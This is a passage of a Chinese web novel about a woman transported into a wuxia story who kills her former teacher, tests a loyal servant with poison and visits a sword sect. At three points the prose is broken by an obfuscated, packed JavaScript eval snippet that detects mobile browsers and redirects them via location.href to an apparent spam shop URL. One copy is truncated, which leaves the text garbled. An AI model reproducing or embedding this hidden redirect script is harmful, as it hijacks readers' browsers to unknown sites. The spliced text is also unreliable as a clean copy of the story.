“你可知这是谁的棺椁?”池岁寒不去理会北极先生的咒骂,一手抚摸着棺椁金丝轻声开口。 池戟立刻上前,从腰间抽出小刀,一一撬开棺椁上的钉子,缓缓推开棺木,棺内躺着的是一具烧焦女尸。 池岁寒冲池戟使了个眼色,他便心领神会,拽着北极先生来到棺材边上,扯下他嘴里塞着的破布。 他呆滞地看着棺材里的尸体,半晌竟流下一行血泪。 随后便嘴角抽搐,面容扭曲,仿佛恶鬼上身。 他身体抖得厉害,像是在害怕,又像是在愤怒。他转过头,眼中滔天的怒火像是要将池岁寒烧个干净。 那张消瘦又满是皱纹的脸止不住颤抖,恨意沿纹路爬上每一寸肌肤,北极先生挣扎着想要把手抽出来,却被池戟用力地摁在棺材边上,他只能瞪着池岁寒,声音嘶哑,一字一句道:“她、是、你、娘。” 池岁寒哦了一声,心中却无任何波澜,这些人或事皆是前身的因果,她已无法干预,心中最多只剩怜悯,却难生愧疚。 她不想夜半时分被梦魇缠上,因而眼神自始至终都未停留在棺中尸身之上,自然无法从中辨认这个所谓母亲的容貌。 池戟面色未改,似乎早就猜到了这是何人尸首,只是锁住北极先生的手更用力了些。 “我知道你受傅家夫妇许多恩惠,因此今日特地让你见她最后一面。” 北极先生似乎已不剩多少力气,只是看着棺椁不住地流泪。 仿佛眼前景象已将他心防击碎,连眉间沟壑都更深了些,须臾间又老了十岁。 他声音嘶哑靠着棺材瘫坐在地,一遍又一遍的重复道: “畜生……畜生……” 4. 究竟什么才是真的 池岁寒充耳不闻,脑中回想着书中傅莺莺带着北极先生出现在原主面前,在武林大会上揭穿灭门惨案真相时女主的反应。 她好像并不惊讶,面对北极先生的控诉也未做任何反应。 没有灭口,没有逃跑,只是静静地听着。 然后说了一句: “我并不愿意杀你。” 池岁寒低声呢喃,不自觉将此话说出了口。 叫花子一口唾沫吐在地上,满面讥讽:“你杀了那么多人!不想?庄主,夫人,弟子,都死了,都死了!” 北极先生的反应也丝毫未变。 她既已继承了许多记忆,自然也感受得到原主确将这十几年教导视作心里一方净土,即便北极先生将她做的事一一揭露,也从未对这位师傅起过半点杀心,可这种话即便说出口又有谁会信? 坏人的好心是天底下最不值钱,也最不可信的东西。 她之所以费尽心思将北极先生绑了过来,自然不会是因为让他死前再与夫人见最后一面这种荒唐的理由。 她没有那么多时间浪费在必死之人身上,也没有那么善心泛滥要替一个纸片人着想。 此人从小看着原主长大,博学多闻,必知许多往事。池岁寒眼下记忆残缺,必须要从他口中了解些有用信息。 “你教导了我十几年,连我心性如何都不得知,不觉得可笑吗?” 北极先生大笑出声,将视线移至棺内,看着被烧焦的女尸,笑声中渐渐多了几分哽咽:“夫人瞒着,夫人从未告诉过我。若我知道你是谁,我一定杀了你。你爹,你,畜生,都是畜生!” “杀了我罢,杀了我。”他仰天苦笑,又突然转过头死死盯着池岁寒,眼中满是阴狠。“莫扰你娘清净。” 池岁寒冷笑一声打断道:“她不是我娘。” “你亲娘?你亲娘和冯一天那畜生生下你,那畜生,他吃人血肉!”北极先生忽然笑起来,笑声之中满是不屑。“宣城张家四十多条人命,都没了,都被他杀了,连孩子都没放过!” “他被抓上天山,那是他应得的,是他的报应,就应该让他死在那上面,给张家赔罪。他早该去死的,早该去死的!” 他的目光看向池岁寒,仿佛在透过眼前人的身影,看向另一个人。 “四十多条人命还不够,天山满门,都死在他手下了。” “那山是红的!血将整座山都染红了!他们找不到他,找不到他,就把你娘……”他突然停住,喉咙里发出一声低沉的哽咽。 “而你,”他看向池岁寒的目光里满是愤恨鄙夷。“你更是畜生,你比你爹更让人恶心。” 池岁寒觉得不对劲,一把揪住他的领口。 “我娘怎么了?” “江湖抓不住冯一天,谁打得过他?谁想去送死?只有你娘,只剩你娘!在那天山上,筋脉俱断,放血而亡!” 竟还有此般隐情。 池岁寒接着问道:“冯一天灭门天山派,许涟以死谢罪是哪年的事?” 北极先生回想片刻,虚弱答道:“已过了十二年了。” 原主知道这些事吗? 池岁寒不敢细想,再思考下去只会徒增累赘,让她束手束脚。若无法抽离成为局外人,她就没办法保证做出的判断都有利于自己,甚至会给自己平添危险。 她心中清楚,此刻必须要做出取舍,她无法继续站在善与恶的交汇处,自以为是地在人群中演独角戏。 池岁寒伸手拍拍北极先生的肩膀,诚恳道:“多谢先生。” 北极先生眼中错愕才刚见苗头,一道锋利刀光便划破了他的喉咙。鲜血喷涌而出,溅在池岁寒的脸上。 老人捂着脖子,还未折腾两下便没了动静,临死之前未阖上的双眼之中竟是平静的解脱。 池岁寒逼着自己看向那血泊中的尸体,她手指紧紧攥住匕首,指甲几乎要嵌进肉中。 这是她第一次主动杀人。 此时池戟正在身边,她无法任由自己大口喘气以缓解紧张心情,只能将手指抠在地面上,试图用疼痛让自己冷静下来。 她一时间不知道自己是不是已经疯了。 这双手刚刚杀了一个人,一个会骂她亦会流泪的人,一个血与肉皆有温度的人。 而她心中除了恐惧,竟还有些说不清道不明的释然。 可周围的血腥味还没散掉,如果这一切是假的,那什么才是真的? 池岁寒抬头,弯月高挂,星星闪烁于层层云雾之间。 和她的那个世界的夜空如出一辙。 她转过头,双目如死水一般看向池戟,开口说话时声音竟连颤抖都没有。 “这尸体手中有一个玉佩,挖出来。” 池戟走到棺材边,手起刀落便将焦尸的手掌切下。那尸体被烧得蜷曲,五指紧握,蛮力根本掰不开 他并未犹豫,仿佛手中拿的是块粘土,手中小刀几下便将这残掌削得七零八落,直至取出那枚玉佩,拭去血污,双手递到池岁寒面前。 玉佩仍完好无损,只是蒙了些灰。 这是原主自小便随身携带的玉佩,是其生母所留,亦是原书中锁定真凶的物证之二。 如此一来,人证已死,物证具毁,饶是傅莺莺再知道真相如何,也无法让旁人信服。 池岁寒终于得空看向池戟,双眼之中满是审视,低声开口:“在天狼山庄,你说谎了。” “近日多雨,天狼山庄内多为石路,唯有后院有一大片林子。你虽只说去了议事堂后的密室,但你鞋尖却沾了泥。” 池岁寒面无表情,声音压得极低:“你去了哪?看到了什么?” 池戟喉头滑动,缓缓开口。 “院中金银早被洗劫一空,我便想去其他地方寻寻看,刚好撞见岛主从后院出来。” “山庄一案过去许久,前几日又逢新雨,泥地之上,恐留脚印,我便去确认了一下。” 一双琥珀色瞳孔未动分毫,静静地与池岁寒对视,全无心虚神色。 “只是如此?” 池戟双眸暗淡些许,似是在思考如何作答。 片刻之后,他轻声开口。 “只是如此。” 矮山之上只有他们二人,此刻四下寂静,只有风吹过地上枯草的细微声响。 池岁寒没忍住笑出声来,压抑短促的笑声在山林中低低回荡,宛如恶鬼低语。 只是如此,那他身上的人俑焦味从何而来? 此人口中果然没几句实话。 她嘴角勾起,眼中却毫无笑意,抬头看向池戟。 “你还在说谎。” “你应该知道,我不养不听话的狗。” 池戟瞳孔微缩,即刻跪在地上。 “属下并非有意隐瞒,只是……” “我不听原因。”话还未说完,池岁寒便摆摆手将他打断,从怀中掏出一个瓷瓶。 这是元向安给她的,他早早便同她说过,药童浑身浸满了灵丹妙药,许多毒药都没有效果,唯有此毒,是冯一天为了以防万一,特意命他研制出来的剧毒。 常人服下或不致死,但却味味都与药童体内名药相冲。 他那日只说,这是为池岁寒备下的定心丸,有此毒药便不必太过忌惮药童。 池岁寒没想到,今日便要用上此毒了。 “你可知这是何物?”池岁寒把玩着手中瓷瓶,慢悠悠开口询问。 池戟只看了一眼就认出了此物,随后便重新低下头,仍在原地跪得一动不动。 “是毒。” “是能杀了你的毒。” 池岁寒从中取出一粒,递到池戟面前。 “你骗了我,我便要杀了你,你可有怨言?” 池戟望着那一粒毒药,眼中终于有了从未见过的悲伤神色。 他哽住半晌,还是抬起手将这毒药接过,冲池岁寒重重磕了一个头。 “属下万死,多谢岛主赐药。” 池岁寒不想他竟如此干脆,全然不问原因便一口吞下,此刻竟有些举棋不定。 但事已至此,池岁寒别无选择。池戟藏着太多秘密,她留着此人在身边只觉步步掣肘,无时无刻不在担心他是否会有背叛的一天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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树枝与纸钱点燃的气味渐渐压过了空气中的血腥味,池岁寒蹲在池戟身边,一手扶住他的头,将解药自其口中喂入。 地上的将死之躯慢慢又有了微弱呼吸,虽不平稳,但已有生气。 斑纹褪去,道道狰狞痕迹逐渐消失,池戟脸色惨白,双目无神盯着前方。 半炷香后,他的双眼才渐渐有了焦点。他转头看向旁边,天色已大黑,只剩微弱火光,映出池岁寒略显孤单的背影。 此毒片刻便可发作,解毒却并不简单。他本就无法压制内力,此刻更觉内力像笼中之虎,四处猛撞,搅得他五脏六腑不得安生。 池戟撑着身子缓缓坐起,全身仍在微微颤抖,还未完全褪去血色的双眼一直锁死在池岁寒身上。 赌赢了,她舍不得他死。 池岁寒又从怀中掏出与方才一模一样的瓷瓶,将药丸倒在手上,递到池戟面前。 “还是方才的毒药。” “吃了它。” 池戟才平复的心一下又提了起来,他看着手中药丸,眼中闪过许多复杂情绪。 她究竟是要他活,还是要他死? 他无力再猜池岁寒心中所想,只探过头去,眼神一刻未从她的脸上移开。 既又有一次机会,他自然要在死前好好记住她的模样。 他双唇扫过池岁寒的掌心,虔诚如供奉神明般,叼起药丸吞了下去。 想象中的痛苦并未袭来,反倒是汹涌内力被压制住,身上疼痛瞬间减轻不少,池戟终于有机会放肆呼吸,不必再忍受呼吸间胸口刀割般的剧痛。 不是毒药。 “每十五日服一粒,六个月后毒便解了。”池岁寒并未看他,只随手将瓷瓶丢给池戟。“你内力不稳,此药亦有平稳之功效,能好受些。” 池戟接过瓷瓶,手指收紧,将它攥在掌心,如同攥住了某样极其要紧的东西,小心翼翼将其揣进兜里,试探着问池岁寒:“岛主刚才,是真的想杀我吗。” 池岁寒撇过头去不愿看他,干脆地点点头。 “是。” “但你不怕死,我便想看看你还能做到何种地步。” 池戟自嘲般笑笑,低着头闷声道:“所以岛主现在可有多信我一分。” 他脸侧发丝被风吹动,粘在脸上血污处,池岁寒抬手拨开发丝,凑至他面前,鼻尖相隔不过一寸。 “你藏着那么多秘密,叫我如何信你。” 5. 你怎么连我穿什么衣服都知道 池岁寒坐在地上,一时失了神。 池戟并不知她在想些什么,见她半晌未动,便单膝跪地,自怀中取出手帕,细细擦净她脸上的血迹。 手绢单薄,每擦过一次,指尖便好似真的抚过她的脸颊。 他擦得极慢,远超常人处理血迹所需的时间。 好在池岁寒正在平复心情,无暇顾及他。 直至池岁寒的脸上再看不出一点血迹,池戟才堪堪起身,未看一眼便一脚将尸体踹翻在地。 “岛主,尸体要如何处理?” 池岁寒发泄似地将剩下的纸钱全数丢进火堆,看着火苗将纸钱烧至卷曲,最后只有点点火花声。 “池淼的尸体装进棺材放回去埋好,莫要让人看出棺材被人挖出来过,北极先生的找个远点的地方埋了便是。” 池戟点头,背过身去偷偷拿起方才的手帕放在鼻下仔细嗅闻,随后小心叠好放回胸口处。 棺椁重新入土,未等池戟处理好一切,身后便传来马蹄声。 他回首,只能望见池岁寒策马远去的背影。 …… 红绢一直等在客栈大堂,见池岁寒回来急忙迎上前去。 池岁寒环顾四周,只见红绢一人,随口问道:“元向安还没回来?” 红绢颔首:“回小姐,还没,亘城虽然离得不远,但是黑市并非日日可见,元向安已传了信鸽,信中说他尚不知何时能回,恐要多等几日。” 池岁寒算算时间,此时离她来到这个世界已过去二十天有余,抛去赶路,已没多少时间留给她浪费。 “回信回去,三日之内若他回不来,我们便先行离开。” 近几日天朗气清,入夜之后抬头便可见繁星,池岁寒坐在窗边,一颗一颗地数着天空中的星星。 她有些拿不准该如何面对池戟,今日让他活是真,但想让他死也是真。 池岁寒抬手空握,模拟握住刀柄的姿势在空中划过一刀,无人伤亡,但她总觉得鼻边萦绕着似有似无的血腥味。 只一闭眼,就仿佛能看见喷涌而出的血液,与北极先生愤恨不甘的双眼。 在这个人命如蜉蝣的异世之中,她终究也变成了自己曾最恐惧的那种人,满手鲜血,踩着别人的尸身以求爬出泥沼。 她不敢放松,亦无法安眠。 池戟实在是一个变数,她不知此人从何而来,为何在此,未来将要如何行事。 一切皆不可控。 池戟的声音适时从门外传来,将池岁寒从思虑中叫醒:“姐……阿姐,歇下了吗?红绢说你脸色不太好。” 池岁寒忙从窗台上跳下,脱了外衣躺回床上,装作从睡梦中被吵醒的样子。 “我在睡觉,你有何事?” 池戟听到屋内窸窣声响,便知她是在装睡,又不忍戳穿,含笑说了句抱歉。 他顿了顿,又问:“我熬了安神汤药,阿姐可要喝些?” 池岁寒不语,假装没听见。 屋外烛火在门上照映出男子的挺拔身影,他一动未动,只端着手中木盘等着。 “药再放下去便凉了。”僵持半刻,池戟又将声音放得更低,如哄孩童睡觉般。“我还为阿姐带了礼物,你一定会想看的。” 池岁寒深呼一口气,不情不愿起身,将门打开一条缝隙:“何物?” 池戟端起药碗,碗底垫着一方残破布帛,绣工精致,针脚细密,虽已烧毁大半,但仍能辨出半朵牡丹。 “这是……”记忆残卷之中,此物似是及笄之时,天狼山庄庄主夫人为原主所绣,可此物并未在书中出现过,如何此时竟会在池戟手中? 池岁寒拿起绣物于手中反复观看。 布匹柔软,边缘被火燎过,却平整如初,不见半点卷曲。 “埋那叫花子时,我从他衣服夹层中找到的。”池戟眼神由上至下扫过池岁寒全身,语气轻柔。“阿姐在岛上时,最爱穿这件衣服,后来阿姐出岛,应是离开了半月有余,回来再见时衣角处便少了这半朵牡丹。” “北极将它藏得如此之深,想来是要紧的东西。” 池岁寒瞬间如坠冰窟,这布帛是从何处冒出来的? 她只能推算此物应是原主屠庄之时,在打斗中被北极扯下的衣角。 她再三确认过,证物只有那两处,如何会在北极先生身上又搜出了这本不该存在之物?! 若是此物日后落入傅莺莺手中,自己之前所做的一切便都付诸东流,只需这一小块布匹,她这杀人凶手的身份便再也瞒不住了。 事情的发展似乎出现了偏差。 若当真如此,那傅莺莺此刻会不会已经重生? 池戟又是如何知道此物?他是无心找到,还是有意为之? 池岁寒一把攥住他的衣领,将他猛拽进屋,反身一脚踹在门上。 池戟未作防备,身形不稳,后退几步撞在墙上,双脚踩实刚想站直,颈间寒光一现,是池岁寒反手握刀,正架在他脖子上。 “你一个被困在阵中的药童,如何知道我常穿衣服是何样式?又如何知道我衣角缺了这半朵牡丹?!” 池戟垂着眼睛,视线刚好能够对上池岁寒面露凶光的双眼。 虽已将命门交了出去,他却没有半分慌张,甚至任由刀刃在自己的皮肤上留下划痕。 距离这般近,近得他只需轻吸一口气,便能闻到池岁寒身上尚带血腥之气的冷冽松香。 他极尽小心,努力掩饰自己面上贪婪神色,但不断滚动的喉结还是出卖了他所有的小心思。 “岛主此前练功的悬崖,离关押我的洞穴不过十丈。”他移开视线,如此剑拔弩张之时,脸上竟浮现出笑意。“我在那暗无天日的洞穴之中,每日能见到的光景,只有您一人。” “您穿了什么衣裳,坏了几处针脚,日日心情如何,我自然都知道。” 池戟半张脸都在阴影之中,唯独一对眼睛在月光之下闪闪发亮,炯炯地盯着池岁寒。 二人对视僵持片刻,池岁寒缓缓收回手中匕首,将那碎布丢入火盆,直至燃成灰烬。 她压下心中翻涌不止的忌惮,故作冷静开口:“退下吧,今夜你也算有功。” 池戟欠身,转身走出屋子为池岁寒关好房门,抬手抹掉脖子上缓慢流下的血滴,不甚在意地抹在衣服上。 二人皆是一夜无眠,只有红绢在隔壁睡得昏沉,时不时还会说几句梦话。 元向安又过了两日才回来,天狼山庄的东西皆有暗纹,如今灭门真凶尚未,肯冒风险收的人并不多,即便看在元向安的面子上,也不免多次碰壁。 不过元向安倒是不会为难自己,等消息之时连吃带玩,回来后竟还比从岛上刚出来时白胖了几分。 红绢看着换了身新衣服的元向安,撅着嘴痛斥他只顾自己享受,居然没给其他人带点东西回来。元向安动作飞快将钱袋塞入池岁寒怀中,摆出无赖的嘴脸听红绢的抱怨,还不忘偶尔呛声几句回去。 “我要上清月山。”池岁寒将银两收好,指尖在桌面轻点几下。“天狼山庄遗孤皆在清月避难,我若再不出现,恐怕他们要起疑了。” 元向安转过头来,正襟危坐:“主子,我有通缉令在身,要是上了清月,估计立马就要被五花大绑游街示众了。” 这一点早在池岁寒预料之内,她本也没想过带元向安上山。 “你在山下寻个地方待着便是,若要见你,红绢会放信鸽。” 元向安松了口气,笑嘻嘻地朝池岁寒拱了拱手:“谢主隆恩。” 池岁寒回头看了看一脸杀气的池戟,冲元向安摆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371388|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手:“你带着池戟一起,我和红绢上山。” 池戟不等元向安回答,先一步半跪在地上:“请阿姐带我一起上山。” 池岁寒不解:“我上清月是因我是天狼山庄至今未寻得的小师妹,庄中才遭惨案,我便带着你这么一个凶神恶煞之人登门拜访,是生怕他们查不出我的身份吗?” “可若是我不在阿姐身边,那群人模狗样的正道万一出手伤您……”池戟抬头,眼神已变得乖顺许多。 池岁寒捏住他的下巴,不给他继续说下去的机会:“听好了,你若是想同行,便收了你这副谁都看不惯的模样,若是被看出破绽坏了我的好事,我折磨人的手段可比所谓江湖正道更多。” 池戟抬手,不假思索便抬手给了自己一耳光。 清脆响声之后,脸上红印尚在,他似乎毫无察觉,扯出一个十分灿烂和善的微笑,眼中的戾气也一扫而空。 如果说这一刻之前,池戟的一举一动都像是少年的皮囊里住了一副憎恶世界的灵魂,那么此刻,他身上便只剩下纯真的少年气,意气风发,好像有无限光明的未来。 池岁寒为他变脸的本事深深折服,只好松口。 元向安倒是没忍住,看着池戟的笑容作势要吐出来:“你怎么这么会演,有够恶心的。” 池戟转头又恢复了恶狼一般的眼神,狠狠瞪了元向安一眼。 池岁寒抬手拍拍池戟的胳膊,指尖轻捏他臂膀上的肌肉:“不用太紧张,我认得清月的几个人,不会出什么岔子。” 池戟不屑地嗤笑一声:“正道的人最是卑鄙。” 元向安长长地哦了一声:“论卑鄙,那我可算得上是正道榜样了。” 池戟附和:“你是武林盟主。” 元向安十分满意,连说话语气都正经了几分,结了饭钱先行出门备马。 清月山离天狼山庄并不远,因此惨案发生后,清月剑派便收留了天狼山庄侥幸逃过一劫的门徒,并发动江湖正派彻查此事。 清月山脚下有一小镇,离清月山大概半日脚程,名叫清月镇,镇上来往的大多都是江湖侠客,热闹非凡。 元向安早早便将人皮面具粘在了自己脸上,原本还算精致的一张脸一时变作了不修边幅的流浪汉,脸上恶肉横生,眉间一道疤痕更是凶相尽显。他用泥将头发揉作一团,拿一截破布绑上,换上一身粗麻衣服,活脱脱一个山野莽夫,嘴角一勾,满面猥琐。 四人刚出羌阳城不久便分开了,一是清月山和清月镇并不完全在同一个方向,二则是元向安的打扮实在与剩下三人不像同路人,非要走在一起难免让人心生怀疑。 清月剑派向来好客,山门口只做了登记便将池岁寒三人放进了山门,自山脚到山顶共有一千石阶,他们到时正值正午,阳光十分烤人,无人同行,只有他们迎着太阳上山。 走过约莫百来级台阶,池戟四下看了看,确认无人,便扭头低声对池岁寒说:“清月剑派这么轻易便放人入山,全不查验,当真以为自己无所畏惧。要我说,这里的人各个都想着铲除邪道,说不定哪天一时兴起就想屠了善恶岛来当英雄,阿姐,不如我们顺手把里面的人杀光算了。” 池岁寒白了他一眼,十分不解:“你被关在善恶岛上那么多年,不应该盼着正道灭了善恶岛救你出去吗?怎么反而如此仇视他们?” 池戟笑笑:“他们的眼里,怎么会有我这一条贱命,若是想救还需让我等到今日吗?寻常人的死活哪会在他们的考虑范围之内。” 池岁寒没有反驳,她大概也能想到,追求越高的人,往往目光高远,很容易就忽视了普通人,这点池戟倒是没有说错。 “只是如此便让你对他们如此恨之入骨?”池岁寒追问。 因为他们会杀了你。 池戟在心里想。 6. 书里不是这么写的 池岁寒见他没回答,伸出手在他眼前晃了晃:“为何不答?” 池戟不以为然耸耸肩,嘴角勾起一丝满不在乎的笑:“因为我天生便是坏种,杀人只为取乐,既看不惯他们,一杀了之不好吗,起码自己能落得个痛快。” 池岁寒双眼紧盯着他,试图捕捉他脸上肌肉的每一处牵动,却仍无半点破绽。 此人所言所行真真假假,难以分辨。 若他真是如此嗜杀成性之人,又怎会如此顺从听话。可若他不是,为何平日里看向旁人时,眼中又总是杀气笼罩,戾气四溢。 一旁的红绢听闻此言,只觉自己一个不会拳脚的柔弱女子,此刻走出的每一步都有可能变成最后一步,烈日炎炎下竟出了一身冷汗。 千级石阶看似很长,但于习武之人来说并不费力,只是可怜了红绢,爬过半程便已经是四肢并用,汗如雨下。 池岁寒见她如此辛苦,速度又慢,便提议道:“不如让池戟扛着你上吧。” 红绢颤抖着摆摆手,头几乎快摇成拨浪鼓:“多谢小姐担心,我自己可以的。” 池岁寒:“没想到你倒是要强。” 红绢苦笑着看了池戟一眼,心想我只是惜命罢了。 台阶的尽头是一座约有四人高的石碑,上书清月剑派四字,是清月的开山师祖留下的。 一位身形修长,一袭蓝衣的男子侧身靠于石碑上,闭着双眼歇息。他怀中抱着一柄长剑,剑鞘上是九臂猿猴的图案,这是清月剑派内门弟子的标志。 男人听到愈来愈近的脚步声,睁开双眼从石碑的阴影中走出,看到来人时,眼中一时满是惊讶欣喜之情。 “岁寒,好久不见。” 池岁寒抬头,映入眼帘的便是仿佛从画里走出来般的英俊男人,这一刻,池岁寒突然明白了为什么原主会那么死心塌地,爱上一个不喜欢她的男人,甚至因不忍心动手杀他而被正道钻了空子,与此人里应外合,封住了原主的退路。 陈豫长着一张无可挑剔的,正道少侠该有的面容,剑眉星目,连被风吹起的发梢都能停在恰好的角度,仿佛一生下来就该站在阳光下受人景仰。 他嘴角只微微牵动,便让人觉得如沐春风。 可也正是这光风霁月的正道少侠,会在日后将自己逼入绝境。 她心中冷笑,面上仍旧不露声色,垂眸屈身,身子微微颤抖,将一个死里逃生后终于找到亲人的小师妹演得入木三分。 她一开口,嘴里便带了哭腔:“陈豫师兄,我来得是不是太晚了?” 陈豫三步并作两步,走上前由上到下打量了池岁寒一番,似是终于放下一口气。 “何出此言?你平安无事已是最好的消息,我们四处寻你不到,我很怕你遇到危险。” 他抬头,用询问的目光看了看池岁寒身后跟着的两人。 池岁寒笑笑,将红绢和池戟拉到自己身旁。 “这是红绢,是我游历时从人贩子手中救下的姑娘,她无处可去,便跟着我做我的侍女。” 红绢露出乖巧的笑容,欠了欠身:“陈公子好。” “他……”池岁寒抬手摸了摸池戟的脑袋,仿佛是想起什么伤心事,方才止住的眼泪又垂垂欲落。“你还记得,我自小便带着半枚玉佩,那是我亲生母亲留给我的,我偶然发现了另外半枚,就是属于他。” 池岁寒将目光从池戟身上移回:“他是我失散多年的弟弟,你叫他池戟就好。” 陈豫目光复杂看向池戟,又将视线移回池岁寒身上,似乎想说些什么,但又忍住了。 他走上前去一把抱住池戟,双手安抚般在他后背轻拍两下:“这么多年你在外面受苦了,我虽然不是天狼山庄的门徒,但自小和你姐姐一起长大,情同兄妹,你以后也是我的弟弟,遇到任何困难都可找我帮忙。” 池岁寒站在陈豫身后,以警告的眼神看向池戟,提醒他此刻应作何反应。 池戟被陈豫抱在怀里,乖顺地站着,一动不动。肩膀之上的双眼之中满是厌恶,仿佛与陈豫有什么血海深仇一般。却在陈豫松手的瞬间,眼中戾气尽散,锋芒尽敛。 他面露感激神色,语气中也带了些哭腔:“多谢陈大哥。” 池岁寒手掌在袖中紧握,看见池戟演的这般好,好到甚至比她这个知道剧本的人更像,反倒让她胆颤心寒,无法安心。 陈豫松开池戟转过身,做了一个请的手势。 “我听山下弟子传信,访客中有一人叫池岁寒,便赶紧出来看看是不是真的是你,莺莺身上有伤,不宜走动,我带你去找她。” 池岁寒点头,跟在陈豫身后。 四人各有心事,一路无言。终是陈豫犹豫了半程,才终于开口:“岁寒,对不起,我竟然忘记了玉佩的事,若是我能将此事放在心上,早些帮你寻找另外半枚玉佩,池戟也不会自己流落在外面那么多年。” 池岁寒也没想到他竟然会因为这随口编的一句谎话心生愧疚,赶紧宽慰道:“师兄不必如此,收养池戟的夫妇人很好。” 陈豫礼貌而克制地看向池戟,随后微笑着点点头:“那便最好。” 客房并不远,陈豫将几个人都安排在同一个小院内,其中一间已经住了人,便是天狼山庄庄主的独生女傅莺莺,也就是原作中死而复生的爽文女主角。 不过好在如果一切按照书中所写,此刻傅莺莺还只是个刚刚经历了灭门之痛,没什么心机的小姑娘,苦肉计演得真切一点,将她护得周全一些,便不会让她重伤,也不会在生死一线间重生,自然就没有后面的诸多麻烦。 陈豫敲了敲中间屋子的门,屋内传来傅莺莺还略带虚弱的声音:“请进。” 池岁寒跟在陈豫身后走入,傅莺莺伤未痊愈,脸色苍白,见到池岁寒先是一惊,随后在侍女的搀扶下走到池岁寒身边,紧紧地将她抱在怀里。 “你没事真是太好了,自从三年前你离庄历练,杳无音讯,我便日夜担心,怕你出什么意外。” “幸好你还活着,阿娘在九泉之下一定也会感到欣慰。” 她说着说着便哽咽了起来,额头抵在池岁寒的肩膀,流出的眼泪一层层地浸透池岁寒的衣襟,不消片刻,便已经洇湿了一大片。 傅莺莺身体虚弱,没什么力气,即便是在夏日双手仍旧冰凉,此刻却将池岁寒抱得十分紧,好像溺水的人抓住了最后的救命稻草一般。 池岁寒的身体却不自觉地绷紧,她自知这具身体上早已沾满傅莺莺至亲至爱之人的鲜血,又如何能承受得起她的眼泪? 傅莺莺一遍遍地抚摸池岁寒的后背,重复着同样的一句“还好你还活着”,明明伤重未愈,却勒得池岁寒有些喘不过气。 陈豫走过来分开二人,与侍女一起搀扶着傅莺莺重新躺回床上。 “莺莺,你伤还未痊愈,不宜情绪激动。岁寒既已寻到,你也算了却一桩心愿,接下来的时间就好好养伤,我和岁寒都在,不会有人再离开你了。” 池岁寒见傅莺莺尚不知晓前世之事,此刻身体也已并无大碍,便想起身离开,重新计划之后的行动。 傅莺莺躺在床上,胳膊撑起半个身子看向池岁寒,有些不好意思地开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371389|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿岁,你若是无事,可以多陪我待一会吗?” 事情的发展,似乎与预想中截然不同。 原著几乎没有着墨过傅莺莺和池岁寒原本的感情,故事的开始便是傅莺莺带着对池岁寒滔天的恨意重生归来,这样的描写让她以为傅莺莺不会和自己亲近,但无论是方才傅莺莺的拥抱和她此时的请求都在告诉她,这二人之间的情谊远比书中写的深厚。 池岁寒不知该作何反应,只能愣愣地点点头,摆手让剩下几人先行离开,自己则坐在傅莺莺榻上。 傅莺莺拽过她的手贴在自己的脸上,还未开口,一滴泪又沿着脸颊落在了池岁寒的手背。 “他们一直找不到你,我好害怕等来的是你的死讯。” “阿岁,除了你,我再没有别的亲人了。” 傅莺莺抬眸,用一双满是悲痛与破碎的双眼望向池岁寒,二人对视着,看着对方瞳孔里自己的轮廓渐渐清晰。 她就这么一直盯着池岁寒,眼睛甚至没有眨一下,直到双眼酸涩难忍才短暂地给了自己一个放松的机会。 她十分害怕再睁开眼时一切都是幻觉,因此选择了最笨拙的方式,想要将好不容易得来的希望抓在手里。 池岁寒本不应在此多做停留,可此刻全身却如同被灌入铁水,沉重得不成样子。 无穷无尽的绝望与悲怆突然在这副躯壳中苏醒,仿佛无底深渊一般拽着池岁寒向下沉沦,一瞬间便如潮水过境,淹没了她的所有理智。 唯有心脏传来的抽痛从未停止。 于她而言,傅莺莺不过是书中人,这悲痛从何而来? 这究竟是谁的情感?! 那些她未曾经历过的记忆碎片又在脑中不断闪回,她想开口说些什么,却发现嗓子已酸涩难当,无法做声。 视线不知何时已彻底模糊,池岁寒低下头,便见豆大泪珠不受控制地砸在傅莺莺床榻之上。 她竟然在哭。 又或者说,是这具身体里残存的灵魂,在面对自小相伴却又分道扬镳,最后刀剑相向的挚友时,发出了撕心裂肺的无声悲鸣。 这不应该。 傅莺莺坐起身,用自己的衣袖为池岁寒擦去脸上的泪水,温柔地将她搂入怀中:“你会再离开吗?” 池岁寒大口喘息着,待那无尽悲痛渐渐退去,才终于重新掌控了这具身体。 但她知道,有东西变了。 她再看向这个本应对自己恨之入骨,此刻却温柔安慰自己的女人,再没法只将她当作自保路上的棋子,那道看似最坚固的,只顾自己的防线已轰然倒塌。 罢了,本就是她鸠占鹊巢,自然是需要还些债的。 池岁寒抬起尚在发抖的手,指尖温柔地抚上傅莺莺的发顶:“我不走,我会一直在你身边。” 她平复心情,见傅莺莺也已冷静不少,便试探着开口询问:“你已回过山庄了吗?” 傅莺莺摇头:“我不敢。” 她说完还笑了一声,像是在耻笑自己。 “我很懦弱吧,我明知道……发生了那种事,可官府和长老想见我我都拒绝了,我权当这一切都是一场噩梦,只要我没有亲眼见过,一切就都不是真的。” 